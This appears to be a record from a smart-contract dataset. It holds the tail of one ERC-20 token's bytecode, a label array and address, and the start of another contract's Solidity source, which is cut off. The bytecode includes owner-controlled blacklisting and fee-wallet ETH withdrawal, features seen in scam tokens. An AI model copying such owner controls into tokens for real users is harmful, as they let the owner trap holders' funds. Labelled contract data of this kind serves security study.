04803603810190610294919061259f565b610752565b6040516102a69190612c4c565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612a01565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612aea565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061267c565b61095c565b6040516103509190612acf565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126b8565b61097a565b005b34801561038e57600080fd5b50610397610aca565b005b3480156103a557600080fd5b506103ae610b44565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125f1565b6110a6565b6040516103e49190612c4c565b60405180910390f35b60606040518060400160405280600781526020017f58436f6c6c617200000000000000000000000000000000000000000000000000815250905090565b600061043e61043761112d565b8484611135565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610469848484611300565b61052a8461047561112d565b6105258560405180606001604052806028815260200161333360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db61112d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119059092919063ffffffff16565b611135565b600190509392505050565b61053d61112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612bac565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61063661112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612bac565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072161112d565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f81611969565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a64565b9050919050565b6107ab61112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612bac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f58436f6c6c617200000000000000000000000000000000000000000000000000815250905090565b600061097061096961112d565b8484611300565b6001905092915050565b61098261112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612bac565b60405180910390fd5b60005b8151811015610ac657600160066000848481518110610a5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abe90612f62565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0b61112d565b73ffffffffffffffffffffffffffffffffffffffff1614610b2b57600080fd5b6000610b3630610752565b9050610b4181611ad2565b50565b610b4c61112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd090612bac565b60405180910390fd5b600f60149054906101000a900460ff1615610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612c2c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611135565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0257600080fd5b505afa158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a91906125c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9c57600080fd5b505afa158015610db0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd491906125c8565b6040518363ffffffff1660e01b8152600401610df1929190612a1c565b602060405180830381600087803b158015610e0b57600080fd5b505af1158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4391906125c8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ecc30610752565b600080610ed76108f6565b426040518863ffffffff1660e01b8152600401610ef996959493929190612a6e565b6060604051808303818588803b158015610f1257600080fd5b505af1158015610f26573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4b919061274b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611050929190612a45565b602060405180830381600087803b15801561106a57600080fd5b505af115801561107e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a29190612722565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612b4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f39190612c4c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136790612bec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612b0c565b60405180910390fd5b60008111611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a90612bcc565b60405180910390fd5b6005600a81905550600a600b8190555061143b6108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a957506114796108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118f557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115525750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155b57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116065750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561165c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116745750600f60179054906101000a900460ff165b156117245760105481111561168857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d357600080fd5b601e426116e09190612d82565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117cf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118255750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561183b576005600a819055506014600b819055505b600061184630610752565b9050600f60159054906101000a900460ff161580156118b35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118cb5750600f60169054906101000a900460ff165b156118f3576118d981611ad2565b600047905060008111156118f1576118f047611969565b5b505b505b611900838383611dcc565b505050565b600083831115829061194d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119449190612aea565b60405180910390fd5b506000838561195c9190612e63565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119b9600284611ddc90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119e4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a35600284611ddc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a60573d6000803e3d6000fd5b5050565b6000600854821115611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290612b2c565b60405180910390fd5b6000611ab5611e26565b9050611aca8184611ddc90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b30577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b5e5781602001602082028036833780820191505090505b5090503081600081518110611b9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3e57600080fd5b505afa158015611c52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7691906125c8565b81600181518110611cb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611135565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d7b959493929190612c67565b600060405180830381600087803b158015611d9557600080fd5b505af1158015611da9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dd7838383611e51565b505050565b6000611e1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061201c565b905092915050565b6000806000611e3361207f565b91509150611e4a8183611ddc90919063ffffffff16565b9250505090565b600080600080600080611e63876120ea565b955095509550955095509550611ec186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa2816121fa565b611fac84836122b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120099190612c4c565b60405180910390a3505050505050505050565b60008083118290612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a9190612aea565b60405180910390fd5b50600083856120729190612dd8565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120bb6b033b2e3c9fd0803ce8000000600854611ddc90919063ffffffff16565b8210156120dd576008546b033b2e3c9fd0803ce80000009350935050506120e6565b81819350935050505b9091565b60008060008060008060008060006121078a600a54600b546122f1565b9250925092506000612117611e26565b9050600080600061212a8e878787612387565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061219483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611905565b905092915050565b60008082846121ab9190612d82565b9050838110156121f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e790612b6c565b60405180910390fd5b8091505092915050565b6000612204611e26565b9050600061221b828461241090919063ffffffff16565b905061226f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122cc8260085461215290919063ffffffff16565b6008819055506122e78160095461219c90919063ffffffff16565b6009819055505050565b60008060008061231d606461230f888a61241090919063ffffffff16565b611ddc90919063ffffffff16565b905060006123476064612339888b61241090919063ffffffff16565b611ddc90919063ffffffff16565b9050600061237082612362858c61215290919063ffffffff16565b61215290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123a0858961241090919063ffffffff16565b905060006123b7868961241090919063ffffffff16565b905060006123ce878961241090919063ffffffff16565b905060006123f7826123e9858761215290919063ffffffff16565b61215290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124235760009050612485565b600082846124319190612e09565b90508284826124409190612dd8565b14612480576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247790612b8c565b60405180910390fd5b809150505b92915050565b600061249e61249984612d01565b612cdc565b905080838252602082019050828560208602820111156124bd57600080fd5b60005b858110156124ed57816124d388826124f7565b8452602084019350602083019250506001810190506124c0565b5050509392505050565b600081359050612506816132ed565b92915050565b60008151905061251b816132ed565b92915050565b600082601f83011261253257600080fd5b813561254284826020860161248b565b91505092915050565b60008135905061255a81613304565b92915050565b60008151905061256f81613304565b92915050565b6000813590506125848161331b565b92915050565b6000815190506125998161331b565b92915050565b6000602082840312156125b157600080fd5b60006125bf848285016124f7565b91505092915050565b6000602082840312156125da57600080fd5b60006125e88482850161250c565b91505092915050565b6000806040838503121561260457600080fd5b6000612612858286016124f7565b9250506020612623858286016124f7565b9150509250929050565b60008060006060848603121561264257600080fd5b6000612650868287016124f7565b9350506020612661868287016124f7565b925050604061267286828701612575565b9150509250925092565b6000806040838503121561268f57600080fd5b600061269d858286016124f7565b92505060206126ae85828601612575565b9150509250929050565b6000602082840312156126ca57600080fd5b600082013567ffffffffffffffff8111156126e457600080fd5b6126f084828501612521565b91505092915050565b60006020828403121561270b57600080fd5b60006127198482850161254b565b91505092915050565b60006020828403121561273457600080fd5b600061274284828501612560565b91505092915050565b60008060006060848603121561276057600080fd5b600061276e8682870161258a565b935050602061277f8682870161258a565b92505060406127908682870161258a565b9150509250925092565b60006127a683836127b2565b60208301905092915050565b6127bb81612e97565b82525050565b6127ca81612e97565b82525050565b60006127db82612d3d565b6127e58185612d60565b93506127f083612d2d565b8060005b83811015612821578151612808888261279a565b975061281383612d53565b9250506001810190506127f4565b5085935050505092915050565b61283781612ea9565b82525050565b61284681612eec565b82525050565b600061285782612d48565b6128618185612d71565b9350612871818560208601612efe565b61287a81613038565b840191505092915050565b6000612892602383612d71565b915061289d82613049565b604082019050919050565b60006128b5602a83612d71565b91506128c082613098565b604082019050919050565b60006128d8602283612d71565b91506128e3826130e7565b604082019050919050565b60006128fb601b83612d71565b915061290682613136565b602082019050919050565b600061291e602183612d71565b91506129298261315f565b604082019050919050565b6000612941602083612d71565b915061294c826131ae565b602082019050919050565b6000612964602983612d71565b915061296f826131d7565b604082019050919050565b6000612987602583612d71565b915061299282613226565b604082019050919050565b60006129aa602483612d71565b91506129b582613275565b604082019050919050565b60006129cd601783612d71565b91506129d8826132c4565b602082019050919050565b6129ec81612ed5565b82525050565b6129fb81612edf565b82525050565b6000602082019050612a1660008301846127c1565b92915050565b6000604082019050612a3160008301856127c1565b612a3e60208301846127c1565b9392505050565b6000604082019050612a5a60008301856127c1565b612a6760208301846129e3565b9392505050565b600060c082019050612a8360008301896127c1565b612a9060208301886129e3565b612a9d604083018761283d565b612aaa606083018661283d565b612ab760808301856127c1565b612ac460a08301846129e3565b979650505050505050565b6000602082019050612ae4600083018461282e565b92915050565b60006020820190508181036000830152612b04818461284c565b905092915050565b60006020820190508181036000830152612b2581612885565b9050919050565b60006020820190508181036000830152612b45816128a8565b9050919050565b60006020820190508181036000830152612b65816128cb565b9050919050565b60006020820190508181036000830152612b85816128ee565b9050919050565b60006020820190508181036000830152612ba581612911565b9050919050565b60006020820190508181036000830152612bc581612934565b9050919050565b60006020820190508181036000830152612be581612957565b9050919050565b60006020820190508181036000830152612c058161297a565b9050919050565b60006020820190508181036000830152612c258161299d565b9050919050565b60006020820190508181036000830152612c45816129c0565b9050919050565b6000602082019050612c6160008301846129e3565b92915050565b600060a082019050612c7c60008301886129e3565b612c89602083018761283d565b8181036040830152612c9b81866127d0565b9050612caa60608301856127c1565b612cb760808301846129e3565b9695505050505050565b6000602082019050612cd660008301846129f2565b92915050565b6000612ce6612cf7565b9050612cf28282612f31565b919050565b6000604051905090565b600067ffffffffffffffff821115612d1c57612d1b613009565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d8d82612ed5565b9150612d9883612ed5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dcd57612dcc612fab565b5b828201905092915050565b6000612de382612ed5565b9150612dee83612ed5565b925082612dfe57612dfd612fda565b5b828204905092915050565b6000612e1482612ed5565b9150612e1f83612ed5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e5857612e57612fab565b5b828202905092915050565b6000612e6e82612ed5565b9150612e7983612ed5565b925082821015612e8c57612e8b612fab565b5b828203905092915050565b6000612ea282612eb5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ef782612ed5565b9050919050565b60005b83811015612f1c578082015181840152602081019050612f01565b83811115612f2b576000848401525b50505050565b612f3a82613038565b810181811067ffffffffffffffff82111715612f5957612f58613009565b5b80604052505050565b6000612f6d82612ed5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fa057612f9f612fab565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132f681612e97565b811461330157600080fd5b50565b61330d81612ea9565b811461331857600080fd5b50565b61332481612ed5565b811461332f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d3928e8fa52aaf5e97ee429e80ff832306b02c2aba95ed493d23daab0fc2d9f64736f6c63430008040033
[ 13, 5 ]
0xf37f32a57f889859b1bd1629b8617a6d3bd69793
/** *Submitted for verification at BscScan.com on 2021-10-14 */ // File: IUniswapV2Router.sol pragma solidity ^0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: IUniswapV2Factory.sol pragma solidity ^0.6.2; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: IUniswapV2Pair.sol pragma solidity ^0.6.2; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: IterableMapping.sol pragma solidity ^0.6.2; library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int) { if(!map.inserted[key]) { return -1; } return int(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint) { return map.keys.length; } function set(Map storage map, address key, uint val) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint index = map.indexOf[key]; uint lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } // File: DividendPayingTokenOptionalInterface.sol pragma solidity ^0.6.2; /// @title Dividend-Paying Token Optional Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev OPTIONAL functions for a dividend-paying token contract. interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns(uint256); } // File: DividendPayingTokenInterface.sol pragma solidity ^0.6.2; /// @title Dividend-Paying Token Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev An interface for a dividend-paying token contract. interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns(uint256); /// @notice Withdraws the ether 